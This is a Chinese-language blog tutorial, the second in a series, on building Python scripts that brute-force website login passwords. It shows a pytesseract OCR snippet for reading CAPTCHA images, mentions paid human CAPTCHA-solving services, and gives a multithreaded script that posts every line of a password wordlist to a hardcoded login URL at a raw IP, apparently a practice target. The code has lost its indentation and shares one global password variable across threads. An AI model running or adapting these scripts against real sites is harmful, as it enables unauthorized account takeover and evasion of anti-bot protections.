python爬虫暴力破解网站登陆密码(二)

python爬虫暴力破解网站登陆密码(二)

上一篇主要介绍了一个基本的暴力破解爬虫的构成,但是他在实际使用的时候存在很多缺陷,比如速度很慢,遇到验证码无法进行等问题,这篇博客主要介绍验证码处理和多线程处理模块。

0x00 处理验证码

网站区别人类用户和爬虫还有一个最常用的方法,那就是验证码,验证码(CAPTCHA)全称是全自动区分计算机和人类的公开图灵测试。可以说验证码就是为了阻止脚本而被发明的。可是当某些网站的验证码比较清晰好识别的时候,我们就可以借助计算机光学识别实现了。对于复杂的验证码,可以使用一些验证码处理的api(绝大多数是付费的)这些接口会有人工处理,一般30秒之内就能返回结果。

光学识别示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Tkinter import *
tk= Tk()
import pytesseract
from PIL import Image
x=1
for i in range(5):
img = Image.open("%s.png" %x)
gray = img.convert('L')
gray.save('%s_1.png' %x)
bw = gray.point(lambda x: 0 if x < 200 else 255,'1')
bw.save('%s_2.png' %x)
img.show()
print(pytesseract.image_to_string(bw))
x+=1

0x01 多线程、多进程

在暴力破解中需要的时间本就十分漫长,如果字典过大仍然使用串行处理,时间会长到一个不可思议的程度,为了尽量减少花费的时间,我们采用多线程或者多进程并行处理的方式提升处理速度。这里我们采用多线程作为例子,因为python实现多线程十分方便。

多线程原理:
同一时间内,CPU只能处理1条线程,只有1条线程在工作(执行);多线程并发(同时)执行,其实是CPU快速地在多条线程之间调度(切换)。如果CPU调度线程的时间足够快,就造成了多线程并发执行的假象。

多线程优缺点:

  • 优点:大大提高运行效率。
  • 缺点:开启线程需要占用一定的内存空间(默认情况下,主线程占用1M,子线程占用512KB),如果开启大量的线程,会占用大量的内存空间,降低程序的性能;线程越多,CPU在调度线程上的开销就越大。

多线程示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from threading import Thread
def boom():
data = {'pwd':password}
print password
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
if html != recv:
print html
#dname = input("input dname:")
url='http://120.24.86.145:8002/baopo/?yes'
data = {'pwd':123}
content = requests.post(url,data=data)
content.encoding='utf-8'
recv=content.text
passFile = open(r'C:\Users\Leticia\Desktop\mutou.txt')
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=boom)
t.start()